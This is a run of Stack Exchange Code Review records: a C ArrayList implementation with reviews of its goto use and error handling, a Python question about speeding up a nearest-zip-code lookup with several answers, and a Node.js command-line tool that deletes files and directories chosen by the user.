* (index + length); /*shifting values*/ memmove(array_two, array, list-&gt;sizeOfElement * (list-&gt;sizeOfArray - index)); /*inserting new values into position*/ memcpy(array, ptr_to_array_data, list-&gt;sizeOfElement * length); list-&gt;sizeOfArray = list-&gt;sizeOfArray + length; FAIL0: return E_VAR_UNINI; FAIL1: return E_OUT_OF_BOUNDS; FAIL2: return error; } enum data_structure_error arraylist_add_all(ArrayList * const list, void *ptr_to_array_data, const uint32_t length) { /*adding to end of the arraylist*/ return arraylist_add_all_index(list, ptr_to_array_data, length, list-&gt;sizeOfArray); } enum data_structure_error arraylist_add(ArrayList * const list, const void * const ptr_to_data) { /*adding to end of the arraylist*/ return arraylist_add_index(list, ptr_to_data, list-&gt;sizeOfArray); } enum data_structure_error arraylist_get_index(const ArrayList * const list, void * const ptr_to_data, const uint32_t index) { uint8_t *array; /*error checking*/ if(list == NULL || ptr_to_data == NULL) goto FAIL0; else if(index &gt;= list-&gt;sizeOfArray) goto FAIL1; /*copying array pointer*/ array = list-&gt;array; /*position of the value to get*/ array = array + list-&gt;sizeOfElement * index; /*copying data*/ memcpy(ptr_to_data, array, list-&gt;sizeOfElement); return E_SUCCESS; FAIL0: return E_VAR_UNINI; FAIL1: return E_OUT_OF_BOUNDS; } enum data_structure_error arraylist_contains(const ArrayList * const list, const void * const ptr_to_data, bool * const contains, int32_t (*compare)(const void *, const void *)) { uint32_t i; uint8_t *array; void *temp_storage; int32_t (*temp_compare)(const void *, const void *); /*error cheking*/ if(list == NULL || ptr_to_data == NULL || contains == NULL) goto FAIL0; else if(compare == NULL &amp;&amp; list-&gt;defaultCompare == NULL) goto FAIL1; /*allocating space*/ temp_storage = malloc(list-&gt;sizeOfElement); if(temp_storage == NULL) goto FAIL2; /*if compare is not passed in use default compare*/ if(compare == NULL) temp_compare = list-&gt;defaultCompare; else temp_compare = compare; array = list-&gt;array; /*set to false*/ *contains = 0; for(i = 0; i &lt; list-&gt;sizeOfArray; i++) { memcpy(temp_storage, array + list-&gt;sizeOfElement * i, list-&gt;sizeOfElement); if(temp_compare(temp_storage, ptr_to_data) == 0) { *contains = 1; break; } } free(temp_storage); return E_SUCCESS; FAIL0: return E_VAR_UNINI; FAIL1: return E_COMPARE_UNINI; FAIL2: return E_MEMORY_FAIL; } enum data_structure_error arraylist_indexof(const ArrayList * const list, const void * const ptr_to_data, int32_t * const index, int32_t (*compare)(const void *, const void *)) { uint32_t i; uint8_t *array; void *temp_storage; int32_t (*temp_compare)(const void *, const void *); /*error checking*/ if(list == NULL || ptr_to_data == NULL || index == NULL) goto FAIL0; else if(compare == NULL &amp;&amp; list-&gt;defaultCompare == NULL) goto FAIL1; temp_storage = malloc(list-&gt;sizeOfElement); if(temp_storage == NULL) goto FAIL2; /*if compare is not passed in use default compare*/ if(compare == NULL) temp_compare = list-&gt;defaultCompare; else temp_compare = compare; array = list-&gt;array; *index = -1; for(i = 0; i &lt; list-&gt;sizeOfArray; i++) { memcpy(temp_storage, array + list-&gt;sizeOfElement * i, list-&gt;sizeOfElement); if(temp_compare(temp_storage, ptr_to_data) == 0) { *index = i; break; } } free(temp_storage); return E_SUCCESS; FAIL0: return E_VAR_UNINI; FAIL1: return E_COMPARE_UNINI; FAIL2: return E_MEMORY_FAIL; } enum data_structure_error arraylist_lastindexof(const ArrayList * const list, const void * const ptr_to_data, int32_t * const index, int32_t (*compare)(const void *, const void *)) { int32_t i; uint8_t *array; void *temp_storage; int32_t (*temp_compare)(const void *, const void *); /*error checking*/ if(list == NULL || ptr_to_data == NULL || index == NULL) goto FAIL0; else if(compare == NULL &amp;&amp; list-&gt;defaultCompare == NULL) goto FAIL1; temp_storage = malloc(list-&gt;sizeOfElement); if(temp_storage == NULL) goto FAIL2; /*if compare is not passed in use default compare*/ if(compare == NULL) temp_compare = list-&gt;defaultCompare; else temp_compare = compare; array = list-&gt;array; *index = -1; for(i = list-&gt;sizeOfArray - 1; i &gt; -1; i--) { memcpy(temp_storage, array + list-&gt;sizeOfElement * i, list-&gt;sizeOfElement); if(temp_compare(temp_storage, ptr_to_data) == 0) { *index = i; break; } } free(temp_storage); return E_SUCCESS; FAIL0: return E_VAR_UNINI; FAIL1: return E_COMPARE_UNINI; FAIL2: return E_MEMORY_FAIL; } enum data_structure_error arraylist_set_index(const ArrayList * const list, const void * const ptr_to_data, const uint32_t index) { uint32_t i; uint8_t *array; /*error handeling*/ if(list == NULL || ptr_to_data == NULL) goto FAIL0; else if(index &gt;= list-&gt;sizeOfArray) goto FAIL1; /*get pointer to array*/ array = list-&gt;array; /*set the data*/ memcpy(array + list-&gt;sizeOfElement * index, ptr_to_data, list-&gt;sizeOfElement); return E_SUCCESS; FAIL0: return E_VAR_UNINI; FAIL1: return E_OUT_OF_BOUNDS; } enum data_structure_error arraylist_remove_index(ArrayList * const list, void * const ptr_to_data, const uint32_t index) { uint8_t *array; uint8_t *array_two; /*error handeling*/ if(list == NULL) goto FAIL0; else if(index &gt;= list-&gt;sizeOfArray) goto FAIL1; /*get pointer to array*/ array = array_two = list-&gt;array; /*set pointer to data to remove*/ array = array + list-&gt;sizeOfElement * index; /*set pointer to index + 1*/ array_two = array_two + list-&gt;sizeOfElement * (index + 1); /*get the data if pointer is not NULL*/ if(ptr_to_data != NULL) memcpy(ptr_to_data, array + list-&gt;sizeOfElement * index, list-&gt;sizeOfElement); /*shift the data*/ memcpy(array, array_two, list-&gt;sizeOfElement * (list-&gt;sizeOfArray - (index + 1))); list-&gt;sizeOfArray = list-&gt;sizeOfArray - 1; return E_SUCCESS; FAIL0: return E_VAR_UNINI; FAIL1: return E_OUT_OF_BOUNDS; } void arraylist_free(ArrayList * const list) { free(list-&gt;array); free(list); } /*user code*/ void print_my_data(const void *data) { int32_t *temp; temp = (int32_t *)data; printf(&quot;%d\n&quot;, *temp); } int compare_my_data(const void *ptr1, const void *ptr2) { const int *data1; const int *data2; data1 = ptr1; data2 = ptr2; if(*data1 &lt; *data2) return -1; else if(*data1 &gt; *data2) return 1; return 0; } int main(void) { ArrayList *list; arraylist_create(&amp;list, sizeof(int), &amp;compare_my_data, &amp;print_my_data); for(int i = 0; i &lt; 10; i++) { arraylist_add(list, &amp;i); } arraylist_print(list, NULL); arraylist_free(list); return 0; } <span class="math-container">```</span> </code></pre>
[]
[ { "body": "<h1>How I Review Code</h1>\n<p>I have performed Code Reviews for over 30 years both on the Code Review Community and professionally. I have also had to maintain code written by others and this generally requires a thorough code inspection before starting.</p>\n<p>The criteria I use for code reviews is:</p>\n<ol>\n<li>Does the code compile without errors and warnings?</li>\n<li>Does the code work as expected?</li>\n<li>Is the code easy to maintain, especially by others?</li>\n<li>Is the code portable (will it compile and run on multiple systems, Window, Linux and Unix)?</li>\n<li>Does the code follow best practices? Usually this goes hand in hand with number 3.</li>\n<li>How complex is the code? (Really also part of number 3)</li>\n<li>Is the code extendable?</li>\n<li>Is the code reusable? (Can this code be used by multiple different programs without modification?)</li>\n</ol>\n<h1>General Observations</h1>\n<p>The code is well organized and doesn't need nor have function prototypes.</p>\n<p>The code does consider some optimizations such as <code>const</code> parameters. (Good!)</p>\n<p>Memory allocation is checked. (Good!)</p>\n<p>The code compiles and runs on Windows 10 in Visual Studio 2019. Based on what I see the code should be portable to Linux and Unix as well. I do see 5 warning messages listed below.</p>\n<p>The <code>type</code> names, variable names and function names all seem pretty clear which will make this code easier to maintain by others. Personally I would like to see the Global Variable <code>errordesc</code> renamed to <code>error_description</code> but it isn't totally necessary.</p>\n<p>The code could definitely be reusable if some editing and file reoganization were performed. Right now some of the global variables could possibly conflict with other modules at link time. If the variables only need to be used within the file that implements the <code>arraylist</code> then declare them <code>static</code> within <code>arraylist.c</code>. If the global variables need to be global create a global (extern) declaration in a header file (probably called <code>arraylist.h</code>) and define the variable in <code>arraylist.c</code>. Put all global entry points (functions) in the header file as function prototypes.</p>\n<h1>Suggested Corrections</h1>\n<h2>Abuse of Goto Statements</h2>\n<p>The good news is that the code only uses goto statements for error checking. The bad news is that there are some many goto statements in the code that aren't necessary. Some people feel that the use of goto statements outside of assembly code is evil, I'm not quite that bad, but there really isn't any reason to use goto statements in this code, and the goto statements are adding extra lines of code to the functions they are in:</p>\n<p>Current implementation:</p>\n<pre><code>enum data_structure_error arraylist_create(ArrayList** const user_list, const size_t size_of_element, int32_t(*compare)(const void*, const void*), void (*print)(const void*))\n{\n /*making 1 struct of type ArrayList*/\n ArrayList* list;\n\n if (user_list == NULL)\n goto FAIL0;\n\n list = malloc(sizeof(*list));\n if (list == NULL)\n goto FAIL1;\n\n /*making an array of void pointers*/\n list-&gt;array = malloc(size_of_element * ARRAY_LIST_DEFAULT_SIZE);\n if (list-&gt;array == NULL)\n goto FAIL1;\n\n /*setting all default values of ArrayList struct*/\n list-&gt;sizeOfElement = size_of_element;\n list-&gt;sizeOfArray = 0;\n list-&gt;lengthOfArray = ARRAY_LIST_DEFAULT_SIZE;\n list-&gt;defaultCompare = compare;\n list-&gt;defaultPrint = print;\n\n *user_list = list;\n return E_SUCCESS;\n\nFAIL0:\n return E_VAR_UNINI;\nFAIL1:\n free(list);\n return E_MEMORY_FAIL;\n}\n</code></pre>\n<p>Without goto statements:</p>\n<pre><code>Data_structure_error alt_arraylist_create(ArrayList** const user_list, const size_t size_of_element, int32_t(*compare)(const void*, const void*), void (*print)(const void*))\n{\n /*making 1 struct of type ArrayList*/\n ArrayList* list;\n\n if (user_list == NULL)\n return E_VAR_UNINI;\n\n list = malloc(sizeof(*list));\n if (list == NULL)\n return E_MEMORY_FAIL; // No need to free list here.\n\n /*making an array of void pointers*/\n list-&gt;array = malloc(size_of_element * ARRAY_LIST_DEFAULT_SIZE);\n if (list-&gt;array == NULL)\n {\n free(list);\n return E_MEMORY_FAIL;\n }\n\n /*setting all default values of ArrayList struct*/\n list-&gt;sizeOfElement = size_of_element;\n list-&gt;sizeOfArray = 0;\n list-&gt;lengthOfArray = ARRAY_LIST_DEFAULT_SIZE;\n list-&gt;defaultCompare = compare;\n list-&gt;defaultPrint = print;\n\n *user_list = list;\n return E_SUCCESS;\n}\n</code></pre>\n<h2>Remove all Compiler Warning Messages</h2>\n<p>I use a strict compilation of C and there are some warning messages that should be corrected:</p>\n<blockquote>\n<p>1&gt;CArrayList.c(100): warning C4715: 'arraylist_clear': not all control paths return a value<br />\n1&gt;CArrayList.c(142): warning C4715: 'arraylist_isempty': not all control paths return a value<br />\n1&gt;CArrayList.c(135): warning C4715: 'arraylist_size': not all control paths return a value<br />\n1&gt;CArrayList.c(149): warning C4715: 'arraylist_set_compare': not all control paths return a value<br />\n1&gt;CArrayList.c(156): warning C4715: 'arraylist_set_print': not all control paths return a value</p>\n</blockquote>\n<p>A function that returns a value should always return a value. The fact that is happens in 5 functions indicate that this is not a <code>typo</code>, but a <code>systemic error</code>.</p>\n<p>A good way to find all possible issues is to compile using the <code>-wall</code> flag.</p>\n<h2>Use More Programmer Defined Types</h2>\n<p>The size of the code could be reduced if there were more <code>typedefs</code>, the code already contains a typedef for <code>struct alt_arraylist_t</code> but the follow examples could also ease coding:</p>\n<pre><code>typedef enum data_structure_error {\n E_SUCCESS = 0,\n E_FAIL = -1,\n E_MEMORY_FAIL = -2,\n E_VAR_UNINI = -3,\n E_VAR_TO_SMALL = -4,\n E_OUT_OF_BOUNDS = -5,\n E_PRINT_UNINI = -6,\n E_COMPARE_UNINI = -7\n} Data_structure_error;\n\ntypedef struct data_structure_errordesc {\n const int32_t code;\n const char* message;\n} Data_structure_errordesc;\n\nstatic const Data_structure_errordesc errordesc[] = {\n {E_SUCCESS, &quot;No error&quot; },\n {E_FAIL, &quot;PANIC!!!!&quot; },\n {E_MEMORY_FAIL, &quot;Could not allocate memory&quot;},\n {E_VAR_UNINI, &quot;The variable passed in is uninitialized&quot;},\n {E_VAR_TO_SMALL, &quot;The variable passed in is too small to hold data&quot;},\n {E_OUT_OF_BOUNDS, &quot;Value passed in was out of bounds&quot;},\n {E_PRINT_UNINI, &quot;The default and the passed in print is NULL&quot;},\n {E_COMPARE_UNINI, &quot;The default and the passed in compare in NULL&quot;}\n};\n</code></pre>\n<p>Altered Function Declarations:</p>\n<pre><code>void alt_arraylist_error(Data_structure_error error);\nData_structure_error arraylist_create(ArrayList** const user_list, const size_t size_of_element, int32_t(*compare)(const void*, const void*), void (*print)(const void*));\nData_structure_error arraylist_clear(ArrayList* const list);\n</code></pre>\n<h2>Use Table Lookup Rather Than Field Matching For Error Descriptions</h2>\n<p>Since the error enums are all negative numbers field matching is required in</p>\n<pre><code>void alt_arraylist_error(Data_structure_error error)\n{\n uint32_t i;\n for (i = 0; i &lt; sizeof(errordesc) / sizeof(errordesc[0]); i++)\n {\n if (error == errordesc[i].code)\n {\n printf(&quot;%s&quot;, errordesc[i].message);\n return;\n }\n }\n}\n</code></pre>\n<p>However the code could be simplified if the enums were all positive numbers, and it would be faster as well</p>\n<pre><code>typedef enum data_structure_error {\n E_SUCCESS, // Defaults to zero\n E_FAIL, // Defaults to one\n E_MEMORY_FAIL,\n E_VAR_UNINI,\n E_VAR_TO_SMALL,\n E_OUT_OF_BOUNDS,\n E_PRINT_UNINI,\n E_COMPARE_UNINI\n} Data_structure_error;\n\nstatic char* errordesc[] = {\n {&quot;No error&quot; }, // E_SUCCESS\n {&quot;PANIC!!!!&quot; }, // E_FAIL\n {&quot;Could not allocate memory&quot;}, // E_MEMORY_FAIL\n {&quot;The variable passed in is uninitialized&quot;}, // E_VAR_UNINI\n {&quot;The variable passed in is too small to hold data&quot;}, // E_VAR_TO_SMALL\n {&quot;Value passed in was out of bounds&quot;}, // E_OUT_OF_BOUNDS\n {&quot;The default and the passed in print is NULL&quot;}, // E_PRINT_UNINI\n {&quot;The default and the passed in compare in NULL&quot;} // E_COMPARE_UNINI\n};\n\nvoid arraylist_error(Data_structure_error error)\n{\n printf(&quot;%s&quot;, errordesc[error]);\n return;\n}\n</code></pre>\n<p>This would also make the code easier to add error values and error descriptions (ease of maintenance). It also removes the necessity of the struct</p>\n<pre><code>struct data_structure_errordesc {\n const int32_t code;\n const char* message;\n};\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-07-01T05:00:11.510", "Id": "520538", "Score": "0", "body": "Pedantically speaking, the code _does_ have function prototypes - the definitions are all also prototypes." } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-06-30T22:34:44.970", "Id": "263645", "ParentId": "257463", "Score": "3" } }, { "body": "<p>You have a great review by pacmaninbw, but I'll just pick up on one aspect and take it a little further.</p>\n<p>There's some quite involved machinery for printing error messages:</p>\n<blockquote>\n<pre><code>struct data_structure_errordesc{\n const int32_t code;\n const char *message;\n};\n\nconst struct data_structure_errordesc errordesc[] = {\n {E_SUCCESS, &quot;No error&quot; },\n {E_FAIL, &quot;PANIC!!!!&quot; },\n {E_MEMORY_FAIL, &quot;Could not allocate memory&quot;},\n {E_VAR_UNINI, &quot;The variable passed in is uninitialized&quot;},\n {E_VAR_TO_SMALL, &quot;The variable passed in is too small to hold data&quot;},\n {E_OUT_OF_BOUNDS, &quot;Value passed in was out of bounds&quot;},\n {E_PRINT_UNINI, &quot;The default and the passed in print is NULL&quot;},\n {E_COMPARE_UNINI, &quot;The default and the passed in compare in NULL&quot;}\n};\n\nvoid arraylist_error(enum data_structure_error error)\n{\n uint32_t i;\n for(i = 0; i &lt; sizeof(errordesc) / sizeof(errordesc[0]); i++)\n {\n if(error == errordesc[i].code)\n {\n printf(&quot;%s&quot;, errordesc[i].message);\n return;\n }\n }\n}\n</code></pre>\n</blockquote>\n<p>Instead of searching in a list, it's much simpler to use <code>switch</code>/<code>case</code>:</p>\n<pre><code>const char *arraylist_error_string(enum data_structure_error error)\n{\n switch (error) {\n case E_SUCCESS: return &quot;No error&quot;;\n case E_FAIL: return &quot;PANIC!!!!&quot;;\n case E_MEMORY_FAIL: return &quot;Could not allocate memory&quot;;\n case E_VAR_UNINI: return &quot;The variable passed in is uninitialized&quot;;\n case E_VAR_TO_SMALL: return &quot;The variable passed in is too small to hold data&quot;;\n case E_OUT_OF_BOUNDS: return &quot;Value passed in was out of bounds&quot;;\n case E_PRINT_UNINI: return &quot;The default and the passed in print is NULL&quot;;\n case E_COMPARE_UNINI: return &quot;The default and the passed in compare in NULL&quot;;\n }\n /* not a valid enum value */\n return &quot;Erroneous error!&quot;;\n}\n</code></pre>\n<p>The advantage of this is that if we add another value to the enum and forget to update the strings, we can get a compiler warning (I promote these to errors), rather than just producing no message. Important - we must fall off the end of the switch in that case, because a <code>default</code> label will prevent the compiler warning.</p>\n<p>Another benefit is that this code is easier to internationalise, by wrapping the literal strings with calls to <code>gettext()</code> or equivalent. It's harder to do that with a compile-time constant array.</p>\n<p>(I would probably also correct the spelling of <code>E_VAR_TOO_SMALL</code> before letting any users get their hands on this, too! Good idea also to fix the typo in <code>compare in NULL</code>, too, but that's less urgent.)</p>\n<p>I made the function return a string rather than printing to <code>stdout</code> because the user may require something different (print to <code>stderr</code> with a newline, display with a GUI, or send to syslog, for example).</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-07-01T05:17:56.570", "Id": "263655", "ParentId": "257463", "Score": "2" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T05:37:29.067", "Id": "257463", "Score": "1", "Tags": [ "c", "error-handling", "memory-management", "vectors" ], "Title": "C ArrayList implementation" }
257463
<p>I am new to python and I had the task to find the US zip code based on latitude and longitude. After messing with arcgis I realized that this was giving me empty values for certain locations. I ended up coding something that accomplishes my task by taking a dataset containing all US codes and using Euclidean distance to determine the closest zip code based on their lat/lon. However, this takes approximately 1.3 seconds on average to compute which for my nearly million records will take a while as a need a zip code for each entry. I looked that vectorization is a thing on python to speed up tasks. But, I cannot find a way to apply it to my code. Here is my code and any feedback would be appreciated:</p> <pre><code>for j in range(len(myFile)): p1=0 p1=0 point1 = np.array((myFile[&quot;Latitude&quot;][j], myFile[&quot;Longitude&quot;][j])) # This is the reference point i = 0 resultZip = str(usZips[&quot;Zip&quot;][0]) dist = np.linalg.norm(point1 - np.array((float(usZips[&quot;Latitude&quot;][0]), float(usZips[&quot;Longitude&quot;][0])))) for i in range(0, len(usZips)): lat = float(usZips[&quot;Latitude&quot;][i]) lon = float(usZips[&quot;Longitude&quot;][i]) point2 = np.array((lat, lon)) # This will serve as the comparison from the dataset temp = np.linalg.norm(point1 - point2) if (temp &lt;= dist): # IF the temp euclidean distance is lower than the alread set it will: dist = temp # set the new distance to temp and... resultZip = str(usZips[&quot;Zip&quot;][i]) # will save the zip that has the same index as the new temp # p1=float(myFile[&quot;Latitude&quot;][58435]) # p2=float(myFile[&quot;Longitude&quot;][58435]) i += 1 </code></pre> <p>I am aware Google also has a reverse geocoder API but it has a request limit per day. The file called <code>myFile</code> is a csv file with the attributes userId, latitude, longitude, timestamp with about a million entries. The file usZips is public dataset with information about the city, lat, lon, zip and timezone with about 43k records of zips across the US.</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T07:27:06.180", "Id": "508550", "Score": "3", "body": "Welcome to Code Review. It would be helpful to provide an example of input files and the expected result. Is `resultZip` the result? Why is it not saved/printed? Please include the rest of the code if possible." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T06:34:51.153", "Id": "508627", "Score": "0", "body": "The input files have the following parameters: myFile(UserID, Latitude, Longitude, Time) and usZips(City, State, Latitude, Longitude, Zip). What I want to accomplish is a quicker way of finding the closest zip code for each record in myFile given the location data. Per say I have latitude x and longitude y; so I need to find the zip code that is closest to the given location using the usZips which contain all zips in the US. What I did in my case is compare each value in myFile to the entire usZips file to find the closest pair. But, this takes a long time so I I need something more optimized" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-31T01:33:40.293", "Id": "510474", "Score": "0", "body": "Here's a discussion of 5 ways to do this in MySQL. Note that having an \"index\" (the datatabase type) is critical. http://mysql.rjweb.org/doc.php/find_nearest_in_mysql Meanwhile, what you have described will probably not work well with more than a few thousand points." } ]
[ { "body": "<p>So a better approach may be to :</p>\n<ol>\n<li>covert your myFile to a Numpy array <code>[[lat0, long0], [lat1, long10], ...]</code>.</li>\n</ol>\n<pre><code>lat_long = np.asarray(myFile)\n</code></pre>\n<ol start=\"2\">\n<li>Sort this array on <code>latitude</code></li>\n</ol>\n<pre><code>lat_long = np.sort(lat_long, axis=0)\n</code></pre>\n<ol start=\"3\">\n<li>find the closest western points to the target point</li>\n</ol>\n<pre><code>closest_point_to_west = lat_long[lat_long[:, 0] &gt;= myPoint[0]]\n</code></pre>\n<p>Do the same for the other wind directions, this will give you the four closest points using Numpy's efficient slicing operations and you can do a distance measurement on only 4 of the points and not all of them.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-08-20T12:31:38.117", "Id": "525949", "Score": "2", "body": "Sorry, this doesn't work. If target is (0,0) and points are [(100,0),(-100,0),(0,-100),(0,100),(1,1)] - the best is (1,1), but your algo gives four other points." } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-23T10:19:32.557", "Id": "257563", "ParentId": "257465", "Score": "-1" } }, { "body": "<p><code>for j in range(len(some_list))</code> is always a red flag. If you need the index, you can use <code>for j,element in enumerate(some_list)</code>. If you don't need the index (like here), you should just use <code>for element in some_list</code>. (Speaking of which, csv files don't have lengths that you can iterate over. Numpy arrays or Pandas DataFrames do.)</p>\n<p>You have <code>i=0</code>, <code>for i in range</code> and <code>i+=1</code>. You only want the middle of those (and <code>i+=1</code> will cause a bug if it's even executed). But you don't even want the middle, because of the previous paragraph. Also, you need to guard against returning that your closest zip code is yourself.</p>\n<p>You flip around between floats and strings. I find my life is much easier the sooner I convert my data to the appropriate format. This means that you should convert your latitude and longitude to floats as soon as possible (probably when you load the csv file). I don't see a problem leaving the zip code as an int until later. Just be aware that you will need to format it at some point: some zip codes start with 0.</p>\n<p>Instead of pre-seeding dist with the first zip code, it might be clearer to start dist off as <code>float('inf')</code>. But:</p>\n<p>The whole point of the inner for loop is to find the closest point. We can use <code>min</code> to do that, as long as we tell Python what we want to minimize, and remove the inner loop entirely (from the code, not the runtime).</p>\n<p>What is <code>p1</code>? What do you do with <code>resultZip</code>?</p>\n<p>Your distance calculation is assuming a flat earth. That breaks down more with higher latitudes (for example, all longitudes at latitude 89 are fairly close together). Also, calculating the square of the distance is usually faster, since most involve taking a square root at the end. (Also, letting the distance function take rows instead of points will allow us to simplify some other parts.) A good approximation for a spherical earth (instead of ellipsoidal) would be</p>\n<pre><code>def dist_sq(row1,row2):\n if row1==row2:\n return float('inf')\n dx = (row1['longitude']-row2['longitude'])*math.cos((row1['latitude']+row2['latitude'])/2)\n dy = row1['latitude']-row2['latitude']\n return dx*dx+dy*dy\n</code></pre>\n<p>That leaves us with your logic boiled down to:</p>\n<pre><code>import functools\nfor row in myFile:\n resultZip = min(myFile,key=functools.partial(dist_sq,row))['Zip']\n</code></pre>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-08-21T22:08:03.580", "Id": "266277", "ParentId": "257465", "Score": "1" } }, { "body": "<p>The vectorized version of your code is</p>\n<pre><code>def distances(point1,i):\n lat = float(usZips[&quot;Latitude&quot;][i])\n lon = float(usZips[&quot;Longitude&quot;][i])\n point2 = np.array((lat, lon))\n temp = np.linalg.norm(point1 - point2)\n \n[min(range(0, len(usZips)), key = lambda i: distance(\n np.array((myFile[&quot;Latitude&quot;][j], myFile[&quot;Longitude&quot;][j])) , \n i))\n for j in range(len(myFile)) ]\n</code></pre>\n<p>However, that's not very Pythonic, as it's iterating over indices rather than elements. More importantly, it's still rather inefficient.</p>\n<p>Consider the following algorithm: you take every combination of integer lat/long in the US. That's somewhere around 1000. For each one, you create a list of nearby zip codes. Then, when you're given a lat/long pair, you find the four integer lattice points around it, and take only the zip codes that you previously found are &quot;close&quot; to those. (You should also separate out Alaska and Hawaii zip codes and handle them separately). This takes more initial computation to calculate closest zip code for each lattice point, but you'll probably make it up again when going through all the locations.</p>\n<p>You can expand this algorithm to more lattice points, and you can also iterate. For instance, start with 40 lattice points. Then when you go to 1000 lattice points, use the four closest of the 40 lattice points to find the zip code candidates for the 1000 lattice points. Then go to 100,000 lattice points and use the four closest of the 1000 lattice points for the candidates for the 100,000 lattice points.</p>\n<p>Something else to keep in mind find &quot;closest zip code&quot; based on distance is not going to necessarily give you the zip code a location is in.</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-08-21T23:03:19.997", "Id": "266279", "ParentId": "257465", "Score": "1" } }, { "body": "<p>You need a spatial structure to speed up lookup for closest zip code. I would approach this problem in two steps:</p>\n<ol>\n<li>Create a point quad tree and add all known zip codes to it. Latitude and longitude can be as used as coordinates of the tree node and zip code as value.</li>\n<li>For every zip entry in your myFile, query the quad tree for closest zip code.</li>\n</ol>\n<p>There are many implementations of quad tree available as Python libraries. You can pick one of them.</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-08-22T06:57:55.210", "Id": "266285", "ParentId": "257465", "Score": "1" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "3", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T07:07:09.493", "Id": "257465", "Score": "1", "Tags": [ "python", "performance" ], "Title": "Can I optimize two for loops that look for the closest zip code based on lat/lon?" }
257465
<h1>del-files</h1> <p>Delete files and directories from the command line. <a href="https://github.com/sarthakgaur/del-files" rel="nofollow noreferrer">https://github.com/sarthakgaur/del-files</a></p> <h2>Installation</h2> <ol> <li><code>git clone https://github.com/sarthakgaur/del-files</code></li> <li><code>node main.mjs</code></li> </ol> <h2>Command Line Arguments</h2> <ol> <li><code>-d</code>: Specify the directory to search in. If no directory is specified, the <code>home</code> directory is used.</li> <li><code>-e</code>: Specify the directories to exclude from the search.</li> <li><code>-y</code>: Skip the confirmation when deleting the file/directory.</li> <li><code>-r</code>: Search recursively for files/directories.</li> </ol> <h2>Example Usage</h2> <p>Command: <code>node main.mjs node_modules package-lock.json -d ../local_chat/ -r -e .git public env</code></p> <p>This command will search for <code>node_modules</code> and <code>package-lock.json</code> in the <code>local_chat</code> directory recursively, and then delete them after confirming from the user. The program will exclude <code>.git</code>, <code>public</code>, and <code>env</code> directories from the search.</p> <h2>main.mjs</h2> <pre><code>import fs from 'fs/promises'; import readLine from 'readline'; import os from 'os'; import path from 'path'; // TODO List the directory supplied by the user. Done. // TODO If node_modules directory is found, notify the user. Done. // TODO Parse the command line arguments. Done. // TODO Add option to recursively search directories. Done. // TODO Prompt the user before deleting the directory. Done. // TODO Add support for removing any directory or file. Done. // TODO Add support for removing multiple directories or files. Done. // TODO Add list of file/directory names to exclude from search. Done. const rl = readLine.createInterface({ input: process.stdin, output: process.stdout }); function parseArgs(args) { const config = { targets: new Set(), excludeList: new Set() }; for (let i = 0; i &lt; args.length; i++) { const arg = args[i]; if (arg[0] === '-') { for (const char of arg) { if (char === 'r') { config.recurse = true; } else if (char === 'y') { config.skipConfirmation = true; } else if (char === 'd') { const nextArg = args[i + 1]; if (nextArg &amp;&amp; nextArg[0] !== '-') { config.path = nextArg; i++; break; } } else if (char === 'e') { let nextArg = args[++i]; while (nextArg?.[0] !== '-') { config.excludeList.add(nextArg); nextArg = args[++i]; } i--; break; } } } else { config.targets.add(arg); } } if (!config.path) { config.path = os.homedir(); } if (!config.targets.size) { throw new Error('Target file/directory not provided.') } return config; } async function removeTargetObject(path) { try { await fs.rm(path, { recursive: true }); console.log(`File/Directory ${path} deleted successfully.`); } catch (e) { console.error(`Failed to delete file/directory ${path}. Reason ${e}`); } } function handleTargetRemoval(config, path) { if (config.skipConfirmation) { return removeTargetObject(path); } return new Promise((resolve) =&gt; { rl.question(`Remove file/directory ${path} [y/n]? `, async (input) =&gt; { if (input === 'y') { await removeTargetObject(path); } else { console.log(`Skipping file/directory ${path}`); } resolve(); }); }); } async function main() { try { const config = parseArgs(process.argv.slice(2)); const paths = [config.path]; const targetPaths = []; for (let i = 0; i &lt; paths.length; i++) { const directoryList = await fs.opendir(paths[i]); for await (const dirent of directoryList) { const fullPath = path.join(paths[i], dirent.name); if (config.targets.has(dirent.name)) { targetPaths.push(fullPath); } if (dirent.isDirectory() &amp;&amp; config.recurse &amp;&amp; !config.targets.has(dirent.name) &amp;&amp; !config.excludeList.has(dirent.name)) { paths.push(fullPath); } } } if (targetPaths.length) { console.log(`${targetPaths.length} target(s) found.`); } else { console.log('Target file/directory not found.'); } for (const targetPath of targetPaths) { await handleTargetRemoval(config, targetPath); } } catch (err) { console.error(err); } finally { rl.close(); } } main(); </code></pre>
[]
[]
{ "AcceptedAnswerId": null, "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T07:49:18.257", "Id": "257466", "Score": "0", "Tags": [ "javascript", "node.js" ], "Title": "Command Line Utility to Delete Files/Directories" }
257466
